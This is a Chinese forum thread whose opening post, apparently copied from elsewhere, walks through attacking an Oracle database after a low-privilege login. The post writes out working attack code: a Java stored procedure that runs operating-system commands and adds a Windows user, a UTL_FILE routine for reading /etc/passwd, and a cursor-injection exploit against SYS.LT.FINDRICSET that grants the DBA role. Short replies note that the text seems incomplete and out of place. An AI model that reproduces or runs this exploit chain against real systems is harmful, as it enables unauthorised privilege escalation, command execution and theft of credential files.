免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1912 | 回复: 4
打印 上一主题 下一主题

连接Oracle服务器后如何获取权限 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2010-11-16 13:07 |只看该作者 |倒序浏览
很快便连接上oracle服务器,此时发现:

    1.连接后不是dba权限

    2.不能利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES漏洞提升权限

    3.运行SELECT UTL_HTTP.request('http://xxxxxxxxxxx/login.jsp') FROM dual 后发现oracle服务器不能连接网络。

    幸运的是,

    运行

    create or replace function Linx_Query (p varchar2) return number authid current_user is begin execute immediate p; return 1;end;

    成功!这个用户具有create proceduce权限。

    此时马上想到创建java扩展执行命令:

    create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+" ";myReader.close();return str;} catch (Exception e){return e.toString();}}}

    begin dbms_java.grant_permission('PUBLIC', 'SYS:java.io.FilePermission', '<>', 'execute' );end;

    create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name 'LinxUtil.runCMD(java.lang.String) return String'

    select * from all_objects where object_name like '%LINX%'

    grant all on LinxRunCMD to public

    select LinxRunCMD('cmd /c net user linx /add') from dual

    但是在第一步就卡住了,服务器由于某种未知原因 不能创建java扩展!!

    还好,我们还有UTL库可以利用:

    create or replace function LinxUTLReadfile (filename varchar2) return varchar2 is

    fHandler UTL_FILE.FILE_TYPE;

    buf varchar2(4000);

    output varchar2(8000);

    BEGIN

    fHandler := UTL_FILE.FOPEN('UTL_FILE_DIR', filename, 'r');

    loop

    begin

    utl_file.get_line(fHandler,buf);

    DBMS_OUTPUT.PUT_LINE('Cursor: '||buf);

    exception

    when no_data_found then exit;

    end;

    output := output||buf||chr(10);

    end loop;

    UTL_FILE.FCLOSE(fHandler);

    return output;

    END;

    UTL_FILE_DIR需要先用:

    CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc';

    指定目。但运行后发现没有权限。只好想办法提权。

    ***************游标注射***************

    老外写了N个pdf介绍这技术,我精简了代码:

    DECLARE

    MYC NUMBER;

    BEGIN

    MYC := DBMS_SQL.OPEN_CURSOR;

    DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''GRANT DBA TO linxlinx_current_db_user'';commit;end;',0);

    DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);

    BEGIN SYS.LT.FINDRICSET('.''||dbms_sql.execute( '||MYC||' )||'''')--','x'); END;

    raise NO_DATA_FOUND;

    EXCEPTION

    WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);

    WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);

    END;

    运行后重新连接就有dba权限了,简单吧......

    现在可以读取文件了:

    CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc';

    select LinxUTLReadfile('passwd') from dual

    后面就简单了,不写了。

文章如转载,请注明转载自:http://www.cnking.org/post/466.html

论坛徽章:
59
2015七夕节徽章
日期:2015-08-24 11:17:25ChinaUnix专家徽章
日期:2015-07-20 09:19:30每周论坛发贴之星
日期:2015-07-20 09:19:42ChinaUnix元老
日期:2015-07-20 11:04:38荣誉版主
日期:2015-07-20 11:05:19巳蛇
日期:2015-07-20 11:05:26CU十二周年纪念徽章
日期:2015-07-20 11:05:27IT运维版块每日发帖之星
日期:2015-07-20 11:05:34操作系统版块每日发帖之星
日期:2015-07-20 11:05:36程序设计版块每日发帖之星
日期:2015-07-20 11:05:40数据库技术版块每日发帖之星
日期:2015-07-20 11:05:432015年辞旧岁徽章
日期:2015-07-20 11:05:44
2 [报告]
发表于 2010-11-16 13:20 |只看该作者
最好连贯在一起,你这个文章明显还有前文的。

论坛徽章:
3
CU大牛徽章
日期:2013-09-18 15:16:55CU大牛徽章
日期:2013-09-18 15:18:22CU大牛徽章
日期:2013-09-18 15:18:43
3 [报告]
发表于 2010-11-16 14:13 |只看该作者
看的云里雾里!

论坛徽章:
17
CU大牛徽章
日期:2013-03-13 15:32:352017金鸡报晓
日期:2017-02-08 10:33:21fulanqi
日期:2016-06-17 17:54:25lufei
日期:2016-06-17 17:38:40平安夜徽章
日期:2015-12-26 00:06:30冥斗士
日期:2015-11-25 14:38:112015年辞旧岁徽章
日期:2015-03-03 16:54:15亥猪
日期:2015-01-26 17:23:43CU大牛徽章
日期:2013-04-17 11:02:58CU大牛徽章
日期:2013-04-17 11:02:36CU大牛徽章
日期:2013-04-17 11:02:15CU大牛徽章
日期:2013-04-17 11:01:45
4 [报告]
发表于 2010-11-16 17:32 |只看该作者
这中文章不应该发在这里吧,而且前后好像都还有内容的。

论坛徽章:
0
5 [报告]
发表于 2010-11-16 23:57 |只看该作者
肯定从别的地方拷贝的吧
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP